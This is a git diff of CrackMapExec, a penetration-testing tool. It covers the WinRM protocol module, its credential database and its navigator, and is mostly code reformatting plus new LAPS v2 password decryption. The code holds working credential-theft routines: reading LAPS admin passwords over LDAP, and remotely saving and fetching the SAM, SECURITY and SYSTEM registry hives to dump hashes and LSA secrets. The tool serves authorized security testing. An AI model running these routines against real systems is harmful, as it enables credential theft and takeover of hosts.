ldapco.auth_login( domain, - username[0] if username else '', - password[0] if password else '', - ntlm_hash[0] if ntlm_hash else '' + username[0] if username else "", + password[0] if password else "", + ntlm_hash[0] if ntlm_hash else "", ) if not connection: - self.logger.fail('LDAP connection failed with account {}'.format(username[0])) + self.logger.fail("LDAP connection failed with account {}".format(username[0])) return False - search_filter = '(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=' + self.hostname + '))' - attributes = ['msLAPS-EncryptedPassword', 'msLAPS-Password', 'ms-MCS-AdmPwd', 'sAMAccountName'] - results = connection.search( - searchFilter=search_filter, - attributes=attributes, - sizeLimit=0 - ) + search_filter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.hostname + "))" + attributes = [ + "msLAPS-EncryptedPassword", + "msLAPS-Password", + "ms-MCS-AdmPwd", + "sAMAccountName", + ] + results = connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0) - msMCSAdmPwd = '' - sAMAccountName = '' - username = '' + msMCSAdmPwd = "" + sAMAccountName = "" + username_laps = "" from impacket.ldap import ldapasn1 as ldapasn1_impacket + results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)] if len(results) != 0: for host in results: - values = {str(attr['type']).lower(): str(attr['vals'][0]) for attr in host['attributes']} + values = {str(attr["type"]).lower(): attr["vals"][0] for attr in host["attributes"]} if "mslaps-encryptedpassword" in values: - self.logger.fail("LAPS password is encrypted and currently CrackMapExec doesn't support the decryption...") - return False + from json import loads + msMCSAdmPwd = values["mslaps-encryptedpassword"] + d = LAPSv2Extract( + bytes(msMCSAdmPwd), + username[0] if username else "", + password[0] if password else "", + domain, + ntlm_hash[0] if ntlm_hash else "", + self.args.kerberos, + self.args.kdcHost, + 339) + data = d.run() + r = loads(data) + msMCSAdmPwd = r["p"] + username_laps = r["n"] elif "mslaps-password" in values: from json import loads - r = loads(values['mslaps-password']) - msMCSAdmPwd = r['p'] - username = r['n'] + r = loads(str(values["mslaps-password"])) + msMCSAdmPwd = r["p"] + username_laps = r["n"] elif "ms-mcs-admpwd" in values: - msMCSAdmPwd = values['ms-mcs-admpwd'] + msMCSAdmPwd = str(values["ms-mcs-admpwd"]) else: - self.logger.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password") - logging.debug("Host: {:<20} Password: {} {}".format(sAMAccountName, msMCSAdmPwd, self.hostname)) + self.logger.fail("No result found with attribute ms-MCS-AdmPwd or" " msLAPS-Password") + self.logger.debug("Host: {:<20} Password: {} {}".format(sAMAccountName, msMCSAdmPwd, self.hostname)) else: - self.logger.fail('msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {}'.format(self.hostname)) + self.logger.fail("msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS" " property for {}".format(self.hostname)) return False - self.username = self.args.laps if not username else username + self.username = self.args.laps if not username_laps else username_laps self.password = msMCSAdmPwd - if msMCSAdmPwd == '': - self.logger.fail('msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {}'.format(self.hostname)) + if msMCSAdmPwd == "": + self.logger.fail("msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS" " property for {}".format(self.hostname)) return False if ntlm_hash: hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest() @@ -204,7 +256,7 @@ class winrm(connection): self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})") self.logger.extra["protocol"] = "HTTP" self.logger.display(self.endpoint) - self.logger.extra["protocol"] = "WINRM" + if self.args.laps: return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain) return True @@ -212,25 +264,24 @@ class winrm(connection): def create_conn_obj(self): endpoints = [ f"https://{self.host}:{self.args.port if self.args.port else 5986}/wsman", - f"http://{self.host}:{self.args.port if self.args.port else 5985}/wsman" + f"http://{self.host}:{self.args.port if self.args.port else 5985}/wsman", ] for url in endpoints: try: self.logger.debug(f"winrm create_conn_obj() - Requesting URL: {url}") res = requests.post(url, verify=False, timeout=self.args.http_timeout) - self.logger.debug(f"winrm create_conn_obj() - Received response code: {res.status_code}") + self.logger.debug("winrm create_conn_obj() - Received response code:" f" {res.status_code}") self.endpoint = url - if self.endpoint.startswith('https://'): - self.port = self.args.port if self.args.port else 5986 + if self.endpoint.startswith("https://"): + self.logger.extra["port"] = self.args.port if self.args.port else 5986 else: - self.port = self.args.port if self.args.port else 5985 - self.logger.extra['port'] = self.port + self.logger.extra["port"] = self.args.port if self.args.port else 5985 return True except requests.exceptions.Timeout as e: self.logger.info(f"Connection Timed out to WinRM service: {e}") except requests.exceptions.ConnectionError as e: - if 'Max retries exceeded with url' in str(e): + if "Max retries exceeded with url" in str(e): self.logger.info(f"Connection Timeout to WinRM service (max retries exceeded)") else: self.logger.info(f"Other ConnectionError to WinRM service: {e}") @@ -239,7 +290,8 @@ class winrm(connection): def plaintext_login(self, domain, username, password): try: from urllib3.connectionpool import log - log.addFilter(SuppressFilter()) + + # log.addFilter(SuppressFilter()) if not self.args.laps: self.password = password self.username = username @@ -247,74 +299,69 @@ class winrm(connection): if self.args.ssl and self.args.ignore_ssl_cert: self.conn = Client( self.host, - auth='ntlm', + auth="ntlm", username=f"{domain}\\{self.username}", password=self.password, ssl=True, - cert_validation=False + cert_validation=False, ) elif self.args.ssl: self.conn = Client( self.host, - auth='ntlm', - username=f'{domain}\\{self.username}', + auth="ntlm", + username=f"{domain}\\{self.username}", password=self.password, - ssl=True + ssl=True, ) else: self.conn = Client( self.host, - auth='ntlm', - username=f'{domain}\\{self.username}', + auth="ntlm", + username=f"{domain}\\{self.username}", password=self.password, - ssl=False + ssl=False, ) # TO DO: right now we're just running the hostname command to make the winrm library auth to the server # we could just authenticate without running a command :) (probably) self.conn.execute_ps("hostname") self.admin_privs = True - self.logger.success( - f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')}" - ) + self.logger.success(f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}") self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") - self.db.add_credential('plaintext', domain, self.username, self.password) + self.db.add_credential("plaintext", domain, self.username, self.password) # TODO: when we can easily get the host_id via RETURNING statements, readd this in # host_id = self.db.get_hosts(self.host)[0].id # self.db.add_loggedin_relation(user_id, host_id) if self.admin_privs: self.logger.debug(f"Inside admin privs") - self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host) # , user_id=user_id) + self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host) # , user_id=user_id) if not self.args.local_auth: - add_user_bh(self.username, self.domain, self.logger, self.config) + add_user_bh(self.username, self.domain, self.logger, self.config) return True except Exception as e: - if "with ntlm" in str(e): - self.logger.fail( - f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8}" - ) + if "with ntlm" in str(e): + self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}") else: - self.logger.fail( - f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} \"{e}\"" - ) + self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()} '{e}'") return False def hash_login(self, domain, username, ntlm_hash): try: - from urllib3.connectionpool import log - log.addFilter(SuppressFilter()) - lmhash = '00000000000000000000000000000000:' - nthash = '' + # from urllib3.connectionpool import log + + # log.addFilter(SuppressFilter()) + lmhash = "00000000000000000000000000000000:" + nthash = "" if not self.args.laps: self.username = username # This checks to see if we didn't provide the LM Hash - if ntlm_hash.find(':') != -1: - lmhash, nthash = ntlm_hash.split(':') + if ntlm_hash.find(":") != -1: + lmhash, nthash = ntlm_hash.split(":") else: nthash = ntlm_hash ntlm_hash = lmhash + nthash @@ -324,41 +371,39 @@ class winrm(connection): self.nthash = nthash else: nthash = self.hash - + self.domain = domain if self.args.ssl and self.args.ignore_ssl_cert: self.conn = Client( self.host, - auth='ntlm', + auth="ntlm", username=f"{self.domain}\\{self.username}", password=lmhash + nthash, ssl=True, - cert_validation=False + cert_validation=False, ) elif self.args.ssl: self.conn = Client( self.host, - auth='ntlm', + auth="ntlm", username=f"{self.domain}\\{self.username}", password=lmhash + nthash, - ssl=True + ssl=True, ) else: self.conn = Client( self.host, - auth='ntlm', + auth="ntlm", username=f"{self.domain}\\{self.username}", password=lmhash + nthash, - ssl=False + ssl=False, ) # TO DO: right now we're just running the hostname command to make the winrm library auth to the server # we could just authenticate without running a command :) (probably) self.conn.execute_ps("hostname") self.admin_privs = True - self.logger.success( - f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')}" - ) + self.logger.success(f"{self.domain}\\{self.username}:{process_secret(nthash)} {self.mark_pwned()}") self.db.add_credential("hash", domain, self.username, nthash) if self.admin_privs: @@ -369,63 +414,57 @@ class winrm(connection): return True except Exception as e: - if "with ntlm" in str(e): - self.logger.fail( - f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8}" - ) + if "with ntlm" in str(e): + self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(nthash)}") else: - self.logger.fail( - f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} \"{e}\"" - ) + self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(nthash)} '{e}'") return False def execute(self, payload=None, get_output=False): try: r = self.conn.execute_cmd(self.args.execute) except: - self.logger.info( - "Cannot execute cmd command, probably because user is not local admin, but powershell command should be ok !" - ) + self.logger.info("Cannot execute command, probably because user is not local admin, but" " powershell command should be ok!") r = self.conn.execute_ps(self.args.execute) self.logger.success("Executed command") self.logger.highlight(r[0]) def ps_execute(self, payload=None, get_output=False): r = self.conn.execute_ps(self.args.ps_execute) - self.logger.success('Executed command') + self.logger.success("Executed command") self.logger.highlight(r[0]) def sam(self): - self.conn.execute_cmd("reg save HKLM\SAM C:\\windows\\temp\\SAM && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM") + self.conn.execute_cmd("reg save HKLM\SAM C:\\windows\\temp\\SAM && reg save HKLM\SYSTEM" " C:\\windows\\temp\\SYSTEM") self.conn.fetch("C:\\windows\\temp\\SAM", self.output_filename + ".sam") self.conn.fetch("C:\\windows\\temp\\SYSTEM", self.output_filename + ".system") self.conn.execute_cmd("del C:\\windows\\temp\\SAM && del C:\\windows\\temp\\SYSTEM") - local_operations = LocalOperations(self.output_filename + ".system") + local_operations = LocalOperations(f"{self.output_filename}.system") boot_key = local_operations.getBootKey() SAM = SAMHashes( - self.output_filename + ".sam", + f"{self.output_filename}.sam", boot_key, isRemote=None, - perSecretCallback=lambda secret: self.logger.highlight(secret) + perSecretCallback=lambda secret: self.logger.highlight(secret), ) SAM.dump() - SAM.export(self.output_filename + ".sam") + SAM.export(f"{self.output_filename}.sam") def lsa(self): - self.conn.execute_cmd("reg save HKLM\SECURITY C:\\windows\\temp\\SECURITY && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM") - self.conn.fetch("C:\\windows\\temp\\SECURITY", self.output_filename + ".security") - self.conn.fetch("C:\\windows\\temp\\SYSTEM", self.output_filename + ".system") + self.conn.execute_cmd("reg save HKLM\SECURITY C:\\windows\\temp\\SECURITY && reg save HKLM\SYSTEM" " C:\\windows\\temp\\SYSTEM") + self.conn.fetch("C:\\windows\\temp\\SECURITY", f"{self.output_filename}.security") + self.conn.fetch("C:\\windows\\temp\\SYSTEM", f"{self.output_filename}.system") self.conn.execute_cmd("del C:\\windows\\temp\\SYSTEM && del C:\\windows\\temp\\SECURITY") - local_operations = LocalOperations(self.output_filename + ".system") + local_operations = LocalOperations(f"{self.output_filename}.system") boot_key = local_operations.getBootKey() LSA = LSASecrets( - self.output_filename + ".security", + f"{self.output_filename}.security", boot_key, None, isRemote=None, - perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret) + perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret), ) LSA.dumpCachedHashes() LSA.dumpSecrets() diff --git a/cme/protocols/winrm/database.py b/cme/protocols/winrm/database.py index 5e2dd7d2..4921dd3a 100644 --- a/cme/protocols/winrm/database.py +++ b/cme/protocols/winrm/database.py @@ -4,11 +4,14 @@ from sqlalchemy.dialects.sqlite import Insert from sqlalchemy.orm import sessionmaker, scoped_session from sqlalchemy import MetaData, Table, select, func, delete -from sqlalchemy.exc import IllegalStateChangeError, NoInspectionAvailable, NoSuchTableError +from sqlalchemy.exc import ( + IllegalStateChangeError, + NoInspectionAvailable, + NoSuchTableError, +) from cme.logger import cme_logger - class database: def __init__(self, db_engine): self.HostsTable = None @@ -19,10 +22,7 @@ class database: self.db_engine = db_engine self.metadata = MetaData() self.reflect_tables() - session_factory = sessionmaker( - bind=self.db_engine, - expire_on_commit=True - ) + session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True) Session = scoped_session(session_factory) # this is still named "conn" when it is the session object; TODO: rename @@ -30,15 +30,18 @@ class database: @staticmethod def db_schema(db_conn): - db_conn.execute('''CREATE TABLE "hosts" ( + db_conn.execute( + """CREATE TABLE "hosts" ( "id" integer PRIMARY KEY, "ip" text, "port" integer, "hostname" text, "domain" text, "os" text - )''') - db_conn.execute('''CREATE TABLE "users" ( + )""" + ) + db_conn.execute( + """CREATE TABLE "users" ( "id" integer PRIMARY KEY, "domain" text, "username" text, @@ -46,21 +49,26 @@ class database: "credtype" text, "pillaged_from_hostid" integer, FOREIGN KEY(pillaged_from_hostid) REFERENCES hosts(id) - )''') - db_conn.execute('''CREATE TABLE "admin_relations" ( + )""" + ) + db_conn.execute( + """CREATE TABLE "admin_relations" ( "id" integer PRIMARY KEY, "userid" integer, "hostid" integer, FOREIGN KEY(userid) REFERENCES users(id), FOREIGN KEY(hostid) REFERENCES hosts(id) - )''') - db_conn.execute('''CREATE TABLE "loggedin_relations" ( + )""" + ) + db_conn.execute( + """CREATE TABLE "loggedin_relations" ( "id" integer PRIMARY KEY, "userid" integer, "hostid" integer, FOREIGN KEY(userid) REFERENCES users(id), FOREIGN KEY(hostid) REFERENCES hosts(id) - )''') + )""" + ) def reflect_tables(self): with self.db_engine.connect() as conn: @@ -70,12 +78,7 @@ class database: self.AdminRelationsTable = Table("admin_relations", self.metadata, autoload_with=self.db_engine) self.LoggedinRelationsTable = Table("loggedin_relations", self.metadata, autoload_with=self.db_engine) except (NoInspectionAvailable, NoSuchTableError): - print( - "[-] Error reflecting tables - this means there is a DB schema mismatch \n" - "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" - "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" - "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema" - ) + print("[-] Error reflecting tables - this means there is a DB schema mismatch \n" "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema") exit() def shutdown_db(self): @@ -96,12 +99,10 @@ class database: Check if this host has already been added to the database, if not, add it in. TODO: return inserted or updated row ids as a list """ - domain = domain.split('.')[0].upper() + domain = domain.split(".")[0].upper() hosts = [] - q = select(self.HostsTable).filter( - self.HostsTable.c.ip == ip - ) + q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip) results = self.conn.execute(q).all() cme_logger.debug(f"smb add_host() - hosts returned: {results}") @@ -137,21 +138,15 @@ class database: # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.HostsTable) - update_columns = {col.name: col for col in q.excluded if col.name not in 'id'} - q = q.on_conflict_do_update( - index_elements=self.HostsTable.primary_key, - set_=update_columns - ) - self.conn.execute( - q, - hosts - ) + update_columns = {col.name: col for col in q.excluded if col.name not in "id"} + q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns) + self.conn.execute(q, hosts) def add_credential(self, credtype, domain, username, password, pillaged_from=None): """ Check if this credential has already been added to the database, if not add it in. """ - domain = domain.split('.')[0].upper() + domain = domain.split(".")[0].upper() credentials = [] credential_data = {} @@ -169,7 +164,7 @@ class database: q = select(self.UsersTable).filter( func.lower(self.UsersTable.c.domain) == func.lower(domain), func.lower(self.UsersTable.c.username) == func.lower(username), - func.lower(self.UsersTable.c.credtype) == func.lower(credtype) + func.lower(self.UsersTable.c.credtype) == func.lower(credtype), ) results = self.conn.execute(q).all() @@ -205,15 +200,9 @@ class database: # TODO: find a way to abstract this away to a single Upsert call q_users = Insert(self.UsersTable) # .returning(self.UsersTable.c.id) - update_columns_users = {col.name: col for col in q_users.excluded if col.name not in 'id'} - q_users = q_users.on_conflict_do_update( - index_elements=self.UsersTable.primary_key, - set_=update_columns_users - ) - self.conn.execute( - q_users, - credentials - ) # .scalar() + update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"} + q_users = q_users.on_conflict_do_update(index_elements=self.UsersTable.primary_key, set_=update_columns_users) + self.conn.execute(q_users, credentials) # .scalar() # return user_ids def remove_credentials(self, creds_id): @@ -222,27 +211,23 @@ class database: """ del_hosts = [] for cred_id in creds_id: - q = delete(self.UsersTable).filter( - self.UsersTable.c.id == cred_id - ) + q = delete(self.UsersTable).filter(self.UsersTable.c.id == cred_id) del_hosts.append(q) self.conn.execute(q) def add_admin_user(self, credtype, domain, username, password, host, user_id=None): - domain = domain.split('.')[0] + domain = domain.split(".")[0] add_links = [] creds_q = select(self.UsersTable) if user_id: - creds_q = creds_q.filter( - self.UsersTable.c.id == user_id - ) + creds_q = creds_q.filter(self.UsersTable.c.id == user_id) else: creds_q = creds_q.filter( func.lower(self.UsersTable.c.credtype) == func.lower(credtype), func.lower(self.UsersTable.c.domain) == func.lower(domain), func.lower(self.UsersTable.c.username) == func.lower(username), - self.UsersTable.c.password == password + self.UsersTable.c.password == password, ) users = self.conn.execute(creds_q) hosts = self.get_hosts(host) @@ -251,13 +236,10 @@ class database: for user, host in zip(users, hosts): user_id = user[0] host_id = host[0] - link = { - "userid": user_id, - "hostid": host_id - } + link = {"userid": user_id, "hostid": host_id} admin_relations_select = select(self.AdminRelationsTable).filter( self.AdminRelationsTable.c.userid == user_id, - self.AdminRelationsTable.c.hostid == host_id + self.AdminRelationsTable.c.hostid == host_id, ) links = self.conn.execute(admin_relations_select).all() @@ -266,20 +248,13 @@ class database: admin_relations_insert = Insert(self.AdminRelationsTable) - self.conn.execute( - admin_relations_insert, - add_links - ) + self.conn.execute(admin_relations_insert, add_links) def get_admin_relations(self, user_id=None, host_id=None): if user_id: - q = select(self.AdminRelationsTable).filter( - self.AdminRelationsTable.c.userid == user_id - ) + q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.userid == user_id) elif host_id: - q = select(self.AdminRelationsTable).filter( - self.AdminRelationsTable.c.hostid == host_id - ) + q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.hostid == host_id) else: q = select(self.AdminRelationsTable) @@ -290,14 +265,10 @@ class database: q = delete(self.AdminRelationsTable) if user_ids: for user_id in user_ids: - q = q.filter( - self.AdminRelationsTable.c.userid == user_id - ) + q = q.filter(self.AdminRelationsTable.c.userid == user_id) elif host_ids: for host_id in host_ids: - q = q.filter( - self.AdminRelationsTable.c.hostid == host_id - ) + q = q.filter(self.AdminRelationsTable.c.hostid == host_id) self.conn.execute(q) def is_credential_valid(self, credential_id): @@ -306,7 +277,7 @@ class database: """ q = select(self.UsersTable).filter( self.UsersTable.c.id == credential_id, - self.UsersTable.c.password is not None + self.UsersTable.c.password is not None, ) results = self.conn.execute(q).all() return len(results) > 0 @@ -317,19 +288,13 @@ class database: """ # if we're returning a single credential by ID if self.is_credential_valid(filter_term): - q = select(self.UsersTable).filter( - self.UsersTable.c.id == filter_term - ) + q = select(self.UsersTable).filter(self.UsersTable.c.id == filter_term) elif cred_type: - q = select(self.UsersTable).filter( - self.UsersTable.c.credtype == cred_type - ) + q = select(self.UsersTable).filter(self.UsersTable.c.credtype == cred_type) # if we're filtering by username - elif filter_term and filter_term != '': + elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") - q = select(self.UsersTable).filter( - func.lower(self.UsersTable.c.username).like(like_term) - ) + q = select(self.UsersTable).filter(func.lower(self.UsersTable.c.username).like(like_term)) # otherwise return all credentials else: q = select(self.UsersTable) @@ -338,15 +303,11 @@ class database: return results def is_credential_local(self, credential_id): - q = select(self.UsersTable.c.domain).filter( - self.UsersTable.c.id == credential_id - ) + q = select(self.UsersTable.c.domain).filter(self.UsersTable.c.id == credential_id) user_domain = self.conn.execute(q).all() if user_domain: - q = select(self.HostsTable).filter( - func.lower(self.HostsTable.c.id) == func.lower(user_domain) - ) + q = select(self.HostsTable).filter(func.lower(self.HostsTable.c.id) == func.lower(user_domain)) results = self.conn.execute(q).all() return len(results) > 0 @@ -355,9 +316,7 @@ class database: """ Check if this host ID is valid. """ - q = select(self.HostsTable).filter( - self.HostsTable.c.id == host_id - ) + q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id) results = self.conn.execute(q).all() return len(results) > 0 @@ -369,26 +328,19 @@ class database: # if we're returning a single host by ID if self.is_host_valid(filter_term): - q = q.filter( - self.HostsTable.c.id == filter_term - ) + q = q.filter(self.HostsTable.c.id == filter_term) results = self.conn.execute(q).first() # all() returns a list, so we keep the return format the same so consumers don't have to guess return [results] # if we're filtering by domain controllers - elif filter_term is not None and filter_term.startswith('domain'): + elif filter_term is not None and filter_term.startswith("domain"): domain = filter_term.split()[1] like_term = func.lower(f"%{domain}%") - q = q.filter( - self.HostsTable.c.domain.like(like_term) - ) + q = q.filter(self.HostsTable.c.domain.like(like_term)) # if we're filtering by ip/hostname elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") - q = q.filter( - self.HostsTable.c.ip.like(like_term) | - func.lower(self.HostsTable.c.hostname).like(like_term) - ) + q = q.filter(self.HostsTable.c.ip.like(like_term) | func.lower(self.HostsTable.c.hostname).like(like_term)) results = self.conn.execute(q).all() cme_logger.debug(f"winrm get_hosts() - results: {results}") return results @@ -397,9 +349,7 @@ class database: """ Check if this User ID is valid. """ - q = select(self.UsersTable).filter( - self.UsersTable.c.id == user_id - ) + q = select(self.UsersTable).filter(self.UsersTable.c.id == user_id) results = self.conn.execute(q).all() return len(results) > 0 @@ -407,22 +357,18 @@ class database: q = select(self.UsersTable) if self.is_user_valid(filter_term): - q = q.filter( - self.UsersTable.c.id == filter_term - ) + q = q.filter(self.UsersTable.c.id == filter_term) # if we're filtering by username - elif filter_term and filter_term != '': + elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") - q = q.filter( - func.lower(self.UsersTable.c.username).like(like_term) - ) + q = q.filter(func.lower(self.UsersTable.c.username).like(like_term)) results = self.conn.execute(q).all() return results def get_user(self, domain, username): q = select(self.UsersTable).filter( func.lower(self.UsersTable.c.domain) == func.lower(domain), - func.lower(self.UsersTable.c.username) == func.lower(username) + func.lower(self.UsersTable.c.username) == func.lower(username), ) results = self.conn.execute(q).all() return results @@ -430,24 +376,18 @@ class database: def add_loggedin_relation(self, user_id, host_id): relation_query = select(self.LoggedinRelationsTable).filter( self.LoggedinRelationsTable.c.userid == user_id, - self.LoggedinRelationsTable.c.hostid == host_id + self.LoggedinRelationsTable.c.hostid == host_id, ) results = self.conn.execute(relation_query).all() # only add one if one doesn't already exist if not results: - relation = { - "userid": user_id, - "hostid": host_id - } + relation = {"userid": user_id, "hostid": host_id} try: # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) - - self.conn.execute( - q, - [relation] - ) # .scalar() + + self.conn.execute(q, [relation]) # .scalar() # return inserted_ids except Exception as e: cme_logger.debug(f"Error inserting LoggedinRelation: {e}") @@ -455,24 +395,16 @@ class database: def get_loggedin_relations(self, user_id=None, host_id=None): q = select(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) if user_id: - q = q.filter( - self.LoggedinRelationsTable.c.userid == user_id - ) + q = q.filter(self.LoggedinRelationsTable.c.userid == user_id) if host_id: - q = q.filter( - self.LoggedinRelationsTable.c.hostid == host_id - ) + q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id) results = self.conn.execute(q).all() return results def remove_loggedin_relations(self, user_id=None, host_id=None): q = delete(self.LoggedinRelationsTable) if user_id: - q = q.filter( - self.LoggedinRelationsTable.c.userid == user_id - ) + q = q.filter(self.LoggedinRelationsTable.c.userid == user_id) elif host_id: - q = q.filter( - self.LoggedinRelationsTable.c.hostid == host_id - ) - self.conn.execute(q) \ No newline at end of file + q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id) + self.conn.execute(q) diff --git a/cme/protocols/winrm/db_navigator.py b/cme/protocols/winrm/db_navigator.py index ba22a99d..bf6ec589 100644 --- a/cme/protocols/winrm/db_navigator.py +++ b/cme/protocols/winrm/db_navigator.py @@ -7,7 +7,7 @@ from cme.helpers.misc import validate_ntlm class navigator(DatabaseNavigator): def display_creds(self, creds): - data = [['CredID', 'Admin On', 'CredType', 'Domain', 'UserName', 'Password']] + data = [["CredID", "Admin On", "CredType", "Domain", "UserName", "Password"]] for cred in creds: cred_id = cred[0] @@ -18,19 +18,20 @@ class navigator(DatabaseNavigator): # pillaged_from = cred[5] links = self.db.get_admin_relations(user_id=cred_id) - data.append([cred_id, str(len(links)) + ' Host(s)', credtype, domain, username, password]) - print_table(data, title='Credentials') + data.append( + [ + cred_id, + str(len(links)) + " Host(s)", + credtype, + domain, + username, + password, + ] + ) + print_table(data, title="Credentials") def display_hosts(self, hosts): - data = [[ - 'HostID', - 'Admins', - 'IP', - 'Port', - 'Hostname', - 'Domain', - 'OS' - ]] + data = [["HostID", "Admins", "IP", "Port", "Hostname", "Domain", "OS"]] for host in hosts: host_id = host[0] @@ -45,16 +46,18 @@ class navigator(DatabaseNavigator): os = host[5] links = self.db.get_admin_relations(host_id=host_id) - data.append([ - host_id, - str(len(links)) + ' Cred(s)', - ip, - port, - hostname, - domain, - os, - ]) - print_table(data, title='Hosts') + data.append( + [ + host_id, + str(len(links)) + " Cred(s)", + ip, + port, + hostname, + domain, + os, + ] + ) + print_table(data, title="Hosts") def do_hosts(self, line): filter_term = line.strip() @@ -68,14 +71,7 @@ class navigator(DatabaseNavigator): if len(hosts) > 1: self.display_hosts(hosts) elif len(hosts) == 1: - data = [[ - 'HostID', - 'IP', - 'Port', - 'Hostname', - 'Domain', - 'OS' - ]] + data = [["HostID", "IP", "Port", "Hostname", "Domain", "OS"]] host_id_list = [] for host in hosts: @@ -91,17 +87,10 @@ class navigator(DatabaseNavigator): except: os = host[5] - data.append([ - host_id, - ip, - port, - hostname, - domain, - os - ]) - print_table(data, title='Host') + data.append([host_id, ip, port, hostname, domain, os]) + print_table(data, title="Host") - data = [['CredID', 'CredType', 'Domain', 'UserName', 'Password']] + data = [["CredID", "CredType", "Domain", "UserName", "Password"]] for host_id in host_id_list: links = self.db.get_admin_relations(host_id=host_id) @@ -117,7 +106,7 @@ class navigator(DatabaseNavigator): credtype = cred[4] # pillaged_from = cred[5] data.append([cred_id, credtype, domain, username, password]) - print_table(data, title='Credential(s) with Admin Access') + print_table(data, title="Credential(s) with Admin Access") def help_hosts(self): help_string = """ @@ -172,7 +161,16 @@ class navigator(DatabaseNavigator): if len(creds) != 1: self.display_creds(creds) elif len(creds) == 1: - data = [['CredID', 'CredType', 'Pillaged From HostID', 'Domain', 'UserName', 'Password']] + data = [ + [ + "CredID", + "CredType", + "Pillaged From HostID", + "Domain", + "UserName", + "Password", + ] + ] cred_id_list = [] for cred in creds: @@ -185,9 +183,9 @@ class navigator(DatabaseNavigator): pillaged_from = cred[5] data.append([cred_id, credtype, pillaged_from, domain, username, password]) - print_table(data, title='Credential(s)') + print_table(data, title="Credential(s)") - data = [['HostID', 'IP', 'Hostname', 'Domain', 'OS']] + data = [["HostID", "IP", "Hostname", "Domain", "OS"]] for cred_id in cred_id_list: links = self.db.get_admin_relations(user_id=cred_id) @@ -203,7 +201,7 @@ class navigator(DatabaseNavigator): os = host[4] data.append([host_id, ip, hostname, domain, os]) - print_table(data, title='Admin Access to Host(s)') + print_table(data, title="Admin Access to Host(s)") def help_creds(self): help_string = """ @@ -236,5 +234,3 @@ class navigator(DatabaseNavigator): YOU CANNOT UNDO THIS COMMAND """ print_help(help_string) - - diff --git a/cme/servers/http.py b/cme/servers/http.py index 5f8a6c42..6d262b45 100755 --- a/cme/servers/http.py +++ b/cme/servers/http.py @@ -13,20 +13,34 @@ from cme.logger import CMEAdapter class RequestHandler(BaseHTTPRequestHandler): - def log_message(self, format, *args): - server_logger = CMEAdapter(extra={'module_name': self.server.module.name.upper(), 'host': self.client_address[0]}) + server_logger = CMEAdapter( + extra={ + "module_name": self.server.module.name.upper(), + "host": self.client_address[0], + } + ) server_logger.display("- - %s" % (format % args)) def do_GET(self): - if hasattr(self.server.module, 'on_request'): - server_logger = CMEAdapter(extra={'module_name': self.server.module.name.upper(), 'host': self.client_address[0]}) + if hasattr(self.server.module, "on_request"): + server_logger = CMEAdapter( + extra={ + "module_name": self.server.module.name.upper(), + "host": self.client_address[0], + } + ) 